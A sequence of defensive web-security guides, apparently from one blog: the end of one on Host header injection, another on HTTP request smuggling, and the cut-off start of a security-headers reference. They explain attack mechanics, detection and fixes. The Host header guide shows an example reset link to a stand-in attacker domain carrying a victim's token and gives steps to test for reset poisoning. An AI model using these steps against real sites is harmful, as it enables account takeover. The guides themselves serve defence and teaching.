## Why the Host header is trusted at all
The header is genuinely load-bearing. Virtual hosting depends on it: a single IP address may serve dozens of sites, and the server uses the Host header to pick which one. Reverse proxies and load balancers pass it along, sometimes rewriting it, sometimes adding companions like `X-Forwarded-Host`. Application frameworks expose it through convenient helpers that return "the current host", and developers reach for those helpers to build absolute URLs.
That convenience is the trap. A helper that claims to return the current host is really returning the client's claim about the current host. When an email template, a redirect, or a script tag is built from that value, the attacker gets to influence the output.
It is worth separating the two ways the header is used, because only one is dangerous. Using the Host header to route a request to the correct virtual host is fine, since the server is only deciding which site to serve and a wrong value simply lands on the wrong site or an error. The danger begins when the value is fed back into content or logic: into a link, a redirect, a cached response, or an internal request. At that point the server has taken an attacker's input and turned it into part of its own behavior. Keeping those two uses distinct is the first step to reasoning about the risk.
## Password reset poisoning
The clearest and most damaging case is password-reset poisoning. Self-service password reset usually works like this: the user submits their email, the app generates a one-time reset token, and it emails a link containing that token. To build the link, the app needs its own domain name, and too often it reads that domain from the Host header of the reset request.
An attacker who knows a victim's email address submits the reset form on the victim's behalf, but sends a Host header pointing at a server the attacker controls. The application generates a valid reset token for the victim and emails a link like this to the victim's real inbox:
```
https://attacker-controlled.example/reset?token=VALID_TOKEN_FOR_VICTIM
```
If the victim clicks, their browser sends the live token to the attacker's server. The attacker replays it against the real site and resets the password. The token was legitimate. The domain in the link was not. On MITRE ATT&CK this kind of internet-facing exploitation maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/).
Some variants do not even need the victim to click. If the app leaks the token elsewhere, or if the reset link is fetched by a preview bot, the token can reach the attacker's server without a human in the loop.
A password-reset URL must be constructed from a hardcoded or configured base URL that the application owns. The moment the domain in that link comes from the Host header, X-Forwarded-Host, or any other request-controlled value, self-service reset becomes an account-takeover primitive. This single rule closes the most severe Host header bug.
## Cache poisoning and other impacts
Password reset is the headline, and it is not the only outcome. The same trust surfaces in several places.
| Technique | Mechanism | Typical impact |
|---|---|---|
| Password-reset poisoning | Reset link domain read from Host header | Account takeover |
| Web cache poisoning | Host-derived content cached and served to others | Stored redirect or script for many users |
| Cache key confusion | Host header excluded from the cache key | One user's poisoned response reaches everyone |
| Routing and SSRF-style tricks | Override headers reach an internal virtual host | Access to unintended backends |
| Password-reset without click | Token leaks to Host-derived resource loads | Silent takeover |
Web cache poisoning is worth singling out. If the application reflects the Host header into a response, and the cache in front of it stores that response without including the Host in the cache key, the attacker can poison a shared cache entry. A single crafted request plants a malicious redirect or script that the cache then serves to every subsequent visitor. The details of that chain live in [Web Cache Poisoning Explained](/web-cache-poisoning-explained). A Host-derived redirect that lands users on an attacker domain is also a flavor of the problem covered in [Open Redirect Explained](/open-redirect-explained).
## The override-header trap
Teams that learn about this bug often check the Host header and stop there. Attackers then reach for the forwarding headers. Proxies and frameworks frequently honor `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`, or a rewritten Host, and application code may prefer those values when present. Duplicate Host headers and absolute request lines are further ways to smuggle a second, attacker-chosen host past a naive check.
The lesson is that validating one header is not enough while the framework silently consults others. You have to know exactly which value your code trusts and control all the inputs that can feed it. Overlapping header parsing between a proxy and an app server is also the same soil that grows the desync problems in [HTTP Request Smuggling Explained](/http-request-smuggling-explained).
## How to find it
Testing for Host header injection is mostly a matter of changing the header and watching where the value surfaces. A few checks find most instances.
Start with the reflection test. Send a request with a Host header set to an obviously wrong value and look for that value coming back anywhere: in the HTML body, in a `Location` redirect header, in a canonical link tag, or in an absolute URL inside the response. Reflection is a strong signal that request-controlled host data reaches the output.
Move on to the reset flow, which is where the real damage lives. Trigger a password reset for an account you control while sending a modified Host header, then read the email that arrives. If the reset link points at the host you supplied rather than the real domain, you have confirmed the account-takeover primitive. Repeat the test with the forwarding headers, `X-Forwarded-Host` and its relatives, because an app that validates the Host header directly may still trust an override header.
Finally, probe routing. Try an absolute URL in the request line, duplicate Host headers, and unusual host values to see whether the server routes you to an unexpected virtual host or a default backend it should not expose. Any of these behaviors marks a place where the application is taking direction from a value it should treat as untrusted input.
## How to actually defend against Host header injection
The defenses come down to one principle: your application should decide its own identity, not learn it from the request.
1. **Build absolute URLs from configuration.** Set a canonical base URL in server-side config and use it for every generated link, especially password-reset and email links. Never assemble these from a request header.
2. **Allowlist valid hosts.** Maintain an explicit list of the domains your application serves and reject any request whose effective host is not on it. Return an error or a default site rather than processing an unknown host.
3. **Neutralize forwarding headers.** Decide at the edge which forwarding headers you trust, strip the rest at the proxy, and make sure application code cannot fall back to an override header you did not sanction.
4. **Keep the Host in the cache key.** Ensure any cache in front of the app includes the host in its key and does not store responses that reflect an unvalidated host. This prevents one poisoned response from spreading.
5. **Do not reflect the Host header into responses.** Avoid echoing the header into HTML, headers, or links. If a canonical link is needed, use the configured base URL.
6. **Pin virtual-host routing.** Configure the web server to serve a default or reject unknown hosts, so requests for unexpected hostnames cannot reach sensitive internal virtual hosts.
For any app, ask two things. First, where does a generated link get its domain? If the answer is anything request-derived, fix it. Second, what exact value does the framework return for the current host, and which headers can influence it? Control every input to that value and the class of bug closes.
Host header injection is a trust bug wearing an infrastructure costume. The header looks like plumbing, so it gets waved through, and then application logic leans on it for identity. Give your application a fixed sense of its own hostname, validate incoming hosts against an allowlist, and keep the Host out of your caches and your emails, and the attacker loses the lever entirely. To see how public-facing exploitation like this trends over time, cross-reference our Exploit Intelligence dashboard.
## A worked walkthrough of reset poisoning
Tracing the reset-poisoning flow end to end shows how a routine feature becomes account takeover, without needing any invented incident. Consider an application with standard self-service password reset. A user enters their email, the server generates a single-use reset token tied to that account, and it sends an email containing a link the user clicks to set a new password.
The flaw sits in how the server builds that link. It needs its own domain to form an absolute URL, and it reaches for a framework helper that returns the current host. That helper returns the value from the request's Host header, which the client set. On a normal request from a normal browser, the Host header names the real site, so the link looks correct and nobody notices where the domain came from.
The attacker changes one thing. They know the victim's email address, which is often public. They submit the reset form on the victim's behalf, and in that request they set the Host header to a domain they own. The server does exactly what it always does: it generates a valid, single-use reset token for the victim's real account, builds the link using the host from the request, and emails it to the victim's real inbox. The email is genuine, sent by the real service, and it lands in the victim's mailbox where it is trusted.
The link inside it points at the attacker's domain and carries the victim's live token as a parameter. If the victim clicks, their browser sends that token to the attacker's server, where the attacker reads it from the request log. The attacker then visits the real site, supplies the token, and sets a new password on the victim's account. The token was legitimate the entire time. The only thing the attacker controlled was the domain in the link, and they controlled it because the server asked the request what its own name was. This kind of internet-facing exploitation maps to MITRE ATT&CK Exploit Public-Facing Application, and the underlying weakness aligns with CWE-20, Improper Input Validation, applied to a header the application should never have trusted.
Some variants skip the click. If a mail gateway or a link-preview bot fetches the URL to render a preview, the token can reach the attacker's server with no human action at all, which turns a phishing-shaped attack into a silent one.
## Detection signals
Host header injection is testable by observation, and it is also detectable in production once you know what to watch. The signals split between request-side anomalies and content-side reflection.
On the request side, log the effective host your application resolves for each request and compare it against your allowlist of real domains. Any request whose host is a domain you do not own is either a misrouted request or a probe, and a cluster of them against sensitive endpoints like password reset is a strong signal. Pay equal attention to the forwarding headers. Requests that carry `X-Forwarded-Host`, `X-Host`, or `X-Forwarded-Server` with a value different from the real Host, duplicate Host headers in a single request, or an absolute URL in the request line are all shapes an attacker uses to smuggle a second host past a naive check.
On the content side, the tell is reflection. Watch for responses where an inbound host value appears in a `Location` redirect header, a canonical link tag, an absolute URL in the body, or an email your system generates. The highest-value monitor sits on the reset flow specifically: if the domain in an outbound reset email ever differs from your canonical base URL, something is deriving that link from the request, and that is the exact bug.
| Signal | Where to look | What it suggests |
|---|---|---|
| Effective host outside your allowlist | Application request logs | A probe or misrouted request |
| `X-Forwarded-Host` differing from Host | Proxy and app logs | Override-header smuggling |
| Duplicate Host headers or absolute request line | Raw request capture | An attempt to bypass a single-header check |
| Inbound host reflected in `Location` or body | Response inspection | Request-derived host reaching output |
| Reset email domain differs from canonical | Outbound mail monitoring | Active reset poisoning |
The clearest possible detection for the worst variant is watching what leaves your system. Assert that every password-reset and account-notification link uses your configured canonical domain. A single email whose link points elsewhere is a live account-takeover attempt in progress, and it is trivial to alert on because the correct value is a constant you control.
## How Host header injection compares to related bugs
Several web bugs share the theme of a request-controlled value steering server behavior. Placing them side by side clarifies what is specific to the Host header.
| Technique | Attacker-controlled input | Primary impact | Core fix |
|---|---|---|---|
| Host header injection | The Host or a forwarding header | Reset poisoning, cache poisoning | Derive identity from configuration |
| Open redirect | A redirect target parameter | Sending users to an attacker site | Allowlist redirect destinations |
| Web cache poisoning | Any unkeyed input reflected in a response | Poisoned response served to many | Key the cache on all reflected inputs |
| Request smuggling | Ambiguous framing between proxy and server | Requests routed or split unexpectedly | Consistent request parsing |
The connective tissue is that each treats an untrusted request value as authoritative for something it should not control. Host header injection is distinctive because the value it corrupts is the application's own identity, which then flows into links, emails, and cache entries. That is why the fix refuses to derive identity from the request at all rather than sanitizing the value.
## Common misconceptions
**"Using the Host header for routing is dangerous."** Routing to the correct virtual host is a safe use, because the worst outcome of a wrong value is landing on the wrong site or an error page. The danger begins only when the header feeds content or logic: a link, a redirect, a cached response, or an internal request. Keeping those two uses separate is the whole reasoning.
**"We validate the Host header, so we are covered."** Validating the Host header alone leaves the override headers open. Frameworks and proxies frequently prefer `X-Forwarded-Host` when it is present, so an app that checks Host and ignores the forwarding headers is still exploitable. You have to know the exact value your code trusts and control every input that can feed it.
**"Only the login and reset pages matter."** Any generated absolute URL is a candidate, including email notifications, share links, webhooks that call back a URL, and canonical tags that affect how search engines and caches treat your pages. The audit question applies everywhere a link is built, across the whole application.
**"HTTPS prevents this."** Transport encryption protects the header in transit and does nothing about the fact that the client set it. The Host header is attacker-controlled input regardless of whether the connection is encrypted, so HTTPS is unrelated to this class of bug.
## How the problem persists
The Host header dates to the introduction of name-based virtual hosting, which let one server address serve many sites by reading the requested host from the request itself. That design is sound for routing, and it quietly created the assumption that the header names the site truthfully. Application frameworks then wrapped it in convenient helpers labeled as the current host, and developers reasonably used those helpers to build absolute URLs.
The gap widened as reverse proxies and load balancers became standard. Those layers pass the host along and often add forwarding headers, so an application might read the original Host, a rewritten one, or an override header depending on configuration, and few teams map exactly which value their code ends up trusting. That ambiguity is what keeps the bug alive: the same helper can return a safe value in one deployment and an attacker-controlled one in another, purely because of proxy configuration.
The defensive consensus that emerged is straightforward and stable. The application should decide its own identity from server-side configuration, validate incoming hosts against an allowlist, and keep the host out of caches and generated links. Teams that adopt that principle stop chasing individual reflections and close the class.
## Frequently asked questions
**Is the Host header ever safe to use?**
Yes, for choosing which virtual host serves a request. That use only decides which site to serve, and a wrong value lands on the wrong site or an error. The header becomes unsafe when its value flows into content or logic, such as a generated link, a redirect, a cached response, or an internal request.
**Why does sanitizing the Host header not fix it?**
Sanitizing is fragile because the framework may consult several headers and you have to control all of them, and because the safe value is something you already know: your own domain. Building links from a configured canonical base URL removes the need to trust or clean any request header.
**Do I need to worry about this behind a reverse proxy?**
Especially so. Proxies add forwarding headers that application code may prefer over the Host header, so a check on Host alone can be bypassed through `X-Forwarded-Host` and its relatives. Decide at the edge which forwarding headers you trust, strip the rest, and make sure the app cannot fall back to one you did not sanction.
**How is this different from an open redirect?**
An open redirect sends a user to an attacker destination through a redirect parameter. Host header injection corrupts the application's own sense of its domain, which then poisons links, emails, and cache entries. A Host-derived redirect is one overlap between the two, and the root causes differ.
**What is the single most important fix?**
Build every absolute URL, above all password-reset and email links, from a canonical base URL set in server-side configuration. That one rule closes the most severe outcome, reset poisoning, regardless of what any request header claims.
**How do I keep a shared cache from spreading a poisoned response?**
Ensure the cache includes the host in its cache key and does not store responses that reflect an unvalidated host. If the host is part of the key, a response crafted for an attacker-supplied host cannot be served back to visitors requesting the real host.
## Related guides
- [Web Cache Poisoning Explained](/web-cache-poisoning-explained)
- [Open Redirect Explained](/open-redirect-explained)
- [HTTP Request Smuggling Explained](/http-request-smuggling-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- PortSwigger Web Security Academy: HTTP Host header attacks (PortSwigger): https://portswigger.net/web-security/host-header
- OWASP: Testing for Host Header Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
- MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/
---
## HTTP Request Smuggling: Front-End/Back-End Desync
> How HTTP request smuggling exploits parsing disagreements between front-end and back-end servers, the CL.TE and TE.CL variants, and how to defend.
- URL: https://blog.pwnsy.com/http-request-smuggling-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: advanced
- Category: web-security
- Tags: request-smuggling, web-security, owasp, http, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- HTTP request smuggling exploits two servers on the same connection disagreeing about where one request ends and the next begins.
- The disagreement usually comes from the Content-Length and Transfer-Encoding headers, giving the CL.TE, TE.CL, and TE.TE variants.
- A smuggled request prefix attaches to the next user's request, letting an attacker poison responses, bypass front-end controls, capture requests, and hijack sessions.
- The durable fix is to make front-end and back-end parse requests identically, reject ambiguous messages outright, and prefer HTTP/2 end to end.
### Key Takeaways
- Request smuggling is a desync attack: the front-end forwards a byte stream the back-end splits differently, so a hidden second request appears.
- CL.TE means the front-end trusts Content-Length while the back-end trusts Transfer-Encoding; TE.CL is the reverse; TE.TE relies on one server being tricked into ignoring an obfuscated Transfer-Encoding header.
- Impact reaches other users because connections are reused, so a smuggled prefix lands on a victim's request rather than the attacker's.
- It routinely bypasses front-end security controls, since the back-end processes a request the front-end never inspected.
- HTTP/2 with strict downgrade handling, connection-per-request back ends, and rejecting conflicting length headers are the strongest defenses.
Modern web traffic almost never reaches an application server directly. It passes through a chain: a CDN, a load balancer, a reverse proxy, then the origin. Each hop parses the HTTP request, decides what it means, and forwards it on. HTTP request smuggling is what happens when two hops in that chain read the same bytes and reach different conclusions about where one request ends and the next one starts. That small disagreement lets an attacker smuggle a hidden request past the front-end and have it attach to somebody else's traffic on the back-end.
It is one of the more demanding web attacks to understand, because nothing is malformed in an obvious way. Every request involved is, on its own, valid HTTP. The vulnerability is in the seam between two parsers.
## Why the seam exists
HTTP/1.1 has two ways to say how long a message body is. The `Content-Length` header gives an exact byte count. The `Transfer-Encoding: chunked` header says the body arrives in size-prefixed chunks and ends with a zero-size chunk. A well-behaved request uses one or the other. The specification says that if both are present, `Transfer-Encoding` wins and `Content-Length` must be ignored.
The problem is that the two servers in front of your application may not agree on that rule, or may disagree about what counts as a valid header. When the front-end measures the body one way and the back-end measures it another, the front-end forwards a stream of bytes that the back-end splits at a different point. The leftover bytes, which the front-end thought were body, become the start of a brand new request the back-end will process on the same connection.
## The classic variants
The variants are named for which header each server trusts.
| Variant | Front-end uses | Back-end uses | Effect |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Front-end forwards extra bytes the back-end reads as a new request |
| TE.CL | Transfer-Encoding | Content-Length | Back-end stops early, leaving a smuggled prefix for the next request |
| TE.TE | Transfer-Encoding (both) | Transfer-Encoding (both) | One server is tricked by an obfuscated TE header into ignoring it |
In a **CL.TE** attack, the front-end honors `Content-Length` and passes the whole body along, while the back-end honors `Transfer-Encoding: chunked`, treats the body as ending at the zero-size chunk, and interprets whatever follows as the beginning of the next request. In a **TE.CL** attack the roles swap. In a **TE.TE** attack both servers in principle support chunked encoding, so the attacker obfuscates the `Transfer-Encoding` header (unusual whitespace, duplicate headers, odd casing) so that one server sees it and the other does not, recreating a CL.TE or TE.CL condition.
The details differ, but the outcome is the same: bytes the front-end believed were part of request A are parsed by the back-end as the opening of request B.
## Why it harms other users
A single smuggled request against your own connection would be a curiosity. The danger comes from connection reuse. Back-end connections are pooled and shared across many users to save the cost of setting up new ones. When an attacker smuggles a request prefix, that prefix sits at the front of the back-end's input buffer. The very next request that arrives on that connection, quite possibly a different user's, gets appended to the attacker's prefix. The victim's request is now prepended with attacker-controlled content.
The defining feature of request smuggling is that the payload lands on someone else's request. Because back-end connections are shared, a smuggled prefix attaches to whichever user's request comes next. That is why the impact scales beyond the attacker's own session and why it is treated as a serious, systemic flaw rather than a self-inflicted one.
## What an attacker gains
- **Bypassing front-end security controls.** The front-end often enforces access rules, blocks certain paths, or filters requests. A smuggled request reaches the back-end without ever being seen by the front-end, so its controls do not apply. An attacker can reach restricted endpoints the front-end would have blocked.
- **Response queue poisoning and capturing requests.** By desyncing the connection, an attacker can cause responses to be served to the wrong requests, capturing another user's request (including their headers and session cookies) or serving them an attacker-influenced response.
- **Session hijacking.** Captured requests can carry session tokens, and a poisoned response queue can deliver a victim content that leaks or fixes their session.
- **Feeding web cache poisoning.** A smuggled request can steer what a shared cache stores against a normal URL, turning a one-shot desync into a persistent bad response served to many users.
- **Credential and data exposure.** Where full requests are captured, anything in them (auth headers, form data, tokens) is exposed to the attacker.
## Why it is hard to spot
Every request in a smuggling attack is individually well-formed. Logs on either server show valid HTTP. The symptom is behavioral: intermittent wrong responses, requests that seem to belong to another user, an endpoint that occasionally returns something it should not. Detection typically relies on carefully timed probes that measure whether the back-end waited for bytes that never came, which is why the attack was underappreciated for years before systematic techniques for finding it were published.
## How to defend against request smuggling
The root cause is ambiguity, so every effective control removes ambiguity or removes the chance for two parsers to disagree.
1. **Make the front-end normalize and reject ambiguity.** Configure the front-end to reject any request that carries both `Content-Length` and `Transfer-Encoding`, or that carries a malformed or duplicated `Transfer-Encoding`. If the message is ambiguous, the correct response is to refuse it, not to guess.
2. **Use the same server software and parsing rules end to end where practical.** Two hops that share a parser cannot disagree about where a request ends. Where you cannot unify them, verify that they resolve the length headers identically.
3. **Prefer HTTP/2 all the way to the origin.** HTTP/2 carries body length in the protocol framing rather than in ambiguous headers, which removes the CL-versus-TE conflict. The catch is downgrading: a front-end that speaks HTTP/2 to clients but HTTP/1.1 to the back-end can reintroduce the flaw during translation, so the downgrade path must be strict and must not forward attacker-supplied length headers.
4. **Disable connection reuse to the back-end where the risk warrants it.** Using a fresh back-end connection per client request removes the shared buffer that lets a smuggled prefix reach another user. It costs performance, so weigh it against the exposure.
5. **Keep front-end and back-end software patched.** Many smuggling issues are fixed in specific proxy and server releases. Running current versions closes known parsing discrepancies.
6. **Monitor for desync symptoms.** Watch for responses served against the wrong request, unexplained cross-user data, and the timing signatures of desync probes.
The single most important mindset is that ambiguous requests must be rejected, not interpreted. Every smuggling variant depends on two servers each making a reasonable-but-different guess about a message that should never have been accepted. A front-end that returns an error the moment length headers conflict denies the attacker the disagreement the whole attack is built on.
## A CL.TE desync, walked through
To make the abstraction concrete, trace what the bytes do in a CL.TE case, where the front-end trusts `Content-Length` and the back-end trusts `Transfer-Encoding`. The attacker sends a single request whose headers include both a `Content-Length` and a `Transfer-Encoding: chunked`. The body is crafted so that, read as chunked, it terminates early at a zero-size chunk, with extra bytes sitting after that terminator.
The front-end reads `Content-Length`, sees a body of the stated size, and forwards the entire thing, headers and full body, to the back-end as one request. So far nothing looks wrong. The back-end then reads the same bytes, but it honours `Transfer-Encoding: chunked`. It consumes chunks until it hits the zero-size chunk that marks the end of the body, and it considers the request complete at that point. The bytes the attacker placed after the terminator were, to the back-end, never part of this request. They stay in the connection's input buffer as the beginning of the next request.
Now the timing matters. The back-end connection is pooled and will serve another request soon. When the next request arrives, whether the attacker's follow-up or a different user's, the back-end prepends the leftover smuggled bytes to it. If the smuggled prefix was a partial request line and headers, the victim's request gets folded into it: the victim's own request line might become a header value, or their session cookie might land inside a body the attacker later reads back. The attacker never touched the victim directly. They simply left bytes in a shared buffer that the victim's request completed.
A TE.CL case runs the mirror image. The front-end honours chunked encoding and forwards what it sees as a complete chunked body, while the back-end honours `Content-Length` and stops reading at the stated count, leaving the remainder as a new request. TE.TE reaches either of these conditions by obfuscating the `Transfer-Encoding` header so that exactly one of the two servers fails to recognise it as chunked, which collapses the case back to CL.TE or TE.CL.
## Detection signals
Because every individual request is valid, smuggling shows up in behaviour and timing more than in any single malformed message. Concrete signals worth watching for:
- **Responses that do not match the request that received them.** A client getting content clearly meant for someone else, or an endpoint returning a body that belongs to a different URL, is the classic symptom of a poisoned response queue.
- **Timing anomalies on crafted probes.** A common way to confirm a desync is to send a request whose smuggled portion makes the back-end wait for bytes that never arrive. A response that hangs for a fixed timeout on a specific crafted request, while a control request returns immediately, indicates the back-end parsed a length the front-end did not.
- **Header values that contain fragments of a request line.** In logs, a header whose value starts with something like a method and path, or a request whose path field carries trailing header-looking text, can be the fingerprint of one request folded into another.
- **Cross-user data appearing where it should not.** Session identifiers, cookies, or authenticated content surfacing in the wrong session point at capture through a shared connection.
- **Front-end and back-end request counts drifting apart.** When one request on the wire becomes two on the back-end, aggregate counts diverge over time. A back-end that logs more requests than the front-end forwarded is a structural indicator.
- **Access to endpoints the front-end should have blocked.** A back-end log showing successful requests to a path the front-end is configured to reject suggests those requests bypassed the front-end by being smuggled inside another.
The timing-based probes that confirm a desync will, if the condition exists, interfere with other users on the shared connection. Run smuggling tests against systems you own or are explicitly authorised to assess, in a controlled window, and prefer techniques that detect the desync without poisoning live traffic. This is a class of finding where careless probing can itself cause an incident.
## How smuggling compares to related desync and injection flaws
Request smuggling is one member of a family of attacks that exploit disagreements about the meaning of a message. Placing it next to its neighbours clarifies what is distinct about it.
| Technique | Root cause | Who is harmed | Typical fix |
|---|---|---|---|
| HTTP request smuggling | Two servers disagree on where a request ends | Other users of a shared back-end connection | Reject ambiguous length headers, unify parsing |
| Web cache poisoning | A cache keys on the wrong parts of a request | Everyone served the poisoned cache entry | Correct cache keys, sanitise unkeyed input |
| Host header injection | The app trusts an attacker-set Host value | Users of features built from the Host | Validate Host against an allowlist |
| Response splitting | Attacker-controlled data injected into response headers | Users receiving the split response | Strip carriage returns and line feeds from header data |
| Parameter pollution | Duplicate parameters parsed differently by layers | The application logic that reads them | Canonicalise parameters before use |
The through-line is inconsistent interpretation, which is exactly why smuggling is catalogued as [CWE-444: Inconsistent Interpretation of HTTP Requests](https://cwe.mitre.org/data/definitions/444.html). Smuggling is the sharpest of these because the disagreement is about message boundaries themselves, and because connection reuse carries the consequence onto other users. Cache poisoning frequently sits downstream of it: a smuggled request is one of the cleaner ways to plant a malicious entry that a shared cache then serves to many, which links the two techniques in practice.
## Common mistakes and misconceptions
Teams reasoning about smuggling tend to trip on a handful of points.
- **"Our WAF inspects every request, so we are covered."** A front-end security device only inspects what it parses as a request. The smuggled request is hidden inside the body of a message the device already passed, so it reaches the back-end without inspection. Filtering the visible request does nothing for the one concealed in it.
- **"HTTP/2 makes us immune."** HTTP/2 removes the CL-versus-TE ambiguity when it is spoken end to end, because length lives in the protocol framing. The common deployment terminates HTTP/2 at the front-end and speaks HTTP/1.1 to the back-end. That downgrade step re-serialises the request and can reintroduce the exact ambiguity, sometimes carrying attacker-supplied length headers straight into the HTTP/1.1 message.
- **"Only the attacker's own traffic is at risk."** The defining trait of smuggling is that the payload lands on the next request over a shared connection, which is very often a different user. This is why it is rated as a serious systemic flaw rather than a self-contained one.
- **"The requests are malformed, so strict parsing already rejects them."** Each request is individually well-formed. The flaw is the disagreement between two conforming-looking interpretations, which is why simply validating each message in isolation misses it. The fix is to reject the specific ambiguity of conflicting or duplicated length headers.
- **"Turning off keep-alive to the back-end fixes everything."** Using a fresh back-end connection per request removes the shared buffer that carries the prefix to another user, which is a strong mitigation. It does not remove the underlying parsing disagreement, and it carries a real performance cost, so it is a control to weigh rather than a complete cure.
## How the attack came into focus
Boundary confusion in HTTP is an old idea, and the conflict between `Content-Length` and `Transfer-Encoding` was understood in principle for a long time before it was treated as a front-line risk. For years it was seen as a curiosity, partly because reliably finding the condition across real proxy chains was awkward and partly because every request involved looks valid in isolation. The turning point was the publication of systematic detection techniques, especially timing-based methods that let a tester confirm a desync without needing to see both servers' internals. That work turned a theoretical parsing disagreement into a repeatable, high-impact finding, and it reframed the humble length headers as an attack surface. The move toward HTTP/2 changed the terrain again, closing the classic ambiguity for connections that speak it end to end while opening a fresh seam at the downgrade boundary where HTTP/2 is translated back to HTTP/1.1. The core lesson held throughout: wherever two parsers can disagree about the shape of a message, someone will build an attack in the gap.
## Frequently asked questions
**What is the difference between request smuggling and response splitting?**
Response splitting injects carriage-return and line-feed sequences into data that ends up in a response, tricking a client or cache into seeing two responses where the server sent one. Request smuggling works on the request side, exploiting a length disagreement between two servers so that one request on the wire is parsed as two by the back-end. Both are boundary-confusion attacks, but they operate on opposite halves of the exchange.
**Does HTTP/2 fully eliminate request smuggling?**
It eliminates the classic Content-Length versus Transfer-Encoding ambiguity when HTTP/2 is spoken from the client all the way to the origin, because message length is carried in the protocol framing. Most real deployments downgrade to HTTP/1.1 somewhere behind the front-end, and that translation can reintroduce the flaw. HTTP/2 is a strong control when it is end to end and when the downgrade path is strict about not forwarding attacker-supplied length headers.
**Why is smuggling considered high severity if each request is valid?**
Because the consequence lands on other users. Connection reuse means a smuggled prefix attaches to whichever request comes next on that shared back-end connection, letting an attacker capture another user's request, bypass front-end controls, or poison a shared cache. The individual validity of each request is precisely what lets it slip past inspection.
**Can a web application firewall stop request smuggling?**
Only partly, and not by inspection alone. The smuggled request is concealed inside the body of a message the firewall already accepted, so content filtering does not see it. A front-end can help by rejecting the ambiguity that enables the attack, refusing any request that carries both length headers or a malformed Transfer-Encoding, which is a configuration decision rather than a signature match.
**What is the single most effective fix?**
Make the front-end reject ambiguous messages outright. If a request carries both `Content-Length` and `Transfer-Encoding`, or a duplicated or malformed `Transfer-Encoding`, the correct response is an error, not a best-effort interpretation. Removing the ambiguity denies every variant the disagreement it depends on. Unifying the parsing behaviour of the two servers, and moving to HTTP/2 end to end, reinforce that.
**How do I safely test for it?**
Test only systems you own or are explicitly authorised to assess. Prefer detection methods that confirm a desync through timing without poisoning live traffic, run them in a controlled window, and be aware that a genuine desync condition can affect other users of the shared connection. Because of that blast radius, smuggling tests warrant more caution than most web-app probes.
**Is disabling keep-alive to the back-end a real fix?**
It is a meaningful mitigation because a fresh connection per request removes the shared buffer that carries a smuggled prefix onto another user. It does not remove the parsing disagreement itself, and it adds connection-setup overhead that can hurt performance under load. Treat it as one control to weigh against exposure alongside rejecting ambiguity and unifying parsers.
Request smuggling is subtle because it hides in the gap between valid parsers, and it is severe because that gap lets one user's crafted bytes ride into another user's request. Attackers probe proxy chains for exactly these desync conditions. Our Exploit Intelligence dashboard tracks how such infrastructure-level techniques show up in active exploitation. Unify your parsing, reject ambiguous messages outright, and move to HTTP/2 end to end with a disciplined downgrade path, and the seam the attack depends on closes.
## Related guides
- [Web Cache Poisoning Explained](/web-cache-poisoning-explained)
- [Host Header Injection Explained](/host-header-injection-explained)
- [Session Hijacking Explained](/session-hijacking-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- PortSwigger Web Security Academy: HTTP request smuggling (PortSwigger): https://portswigger.net/web-security/request-smuggling
- OWASP: HTTP Request Smuggling (OWASP): https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
- MITRE CWE-444: Inconsistent Interpretation of HTTP Requests (HTTP Request Smuggling) (MITRE): https://cwe.mitre.org/data/definitions/444.html
---
## HTTP Security Headers: What Each Does & the Value to Set
> A defensive reference to HTTP security response headers: what each one does, a recommended value, and the attack it mitigates, from CSP to Cache-Control.
- URL: https://blog.pwnsy.com/http-security-headers-reference
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: web-security, http-headers, csp, hardening, owasp
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- HTTP security headers are response headers a server sends to instruct the browser to enforce protections like content-loading rules, HTTPS-only access, and framing restrictions.
- They are defense in depth: a strong Content-Security-Policy limits the damage of an XSS bug, and HSTS closes the downgrade window even if a user types http first.
- No single header is a fix on its own, and several have subtle values, so the recommended settings below are safe starting points to test against your own app.
- The highest-impact headers for most sites are Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, and a framing control (X-Frame-Options or CSP frame-ancestors).
### Key Takeaways
- Content-Security-Policy is the most powerful and the most complex header: it controls which sources of script, style, and other content the browser will load, and it is the main structural defense against cross-site scripting.
- Strict-Transport-Security (HSTS) forces HTTPS for a set duration and defeats SSL-stripping downgrade attacks, but preloading is a long-term commitment.
- X-Content-Type-Options: nosniff stops MIME sniffing, and a framing control (X-Frame-Options DENY or CSP frame-ancestors) stops clickjacking.
- The Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy headers isolate your page from cross-origin attacks like Spectre-style leaks.
- Sensitive pages need Cache-Control: no-store so authenticated content is never written to shared or browser caches.
A web server can tell the browser how to behave. HTTP security headers are the response headers that carry those instructions: load scripts only from here, never speak plain HTTP again, do not let another site frame this page. The browser enforces them, which makes headers a cheap and durable layer of defense that sits in front of your application logic.
This is a reference for the headers worth setting and the value to start from. Treat the recommended values as safe defaults to test, since a policy that is too strict can break a working site and one that is too loose does nothing. The point is to know what each header buys you and where it fits.
## The core security response headers
Header names are exact and case-insensitive on the wire. The recommended value is a sound starting point; tune it to your application.
| Header | What it does | Recommended value | Attack it mitigates |
|---|---|---|---|
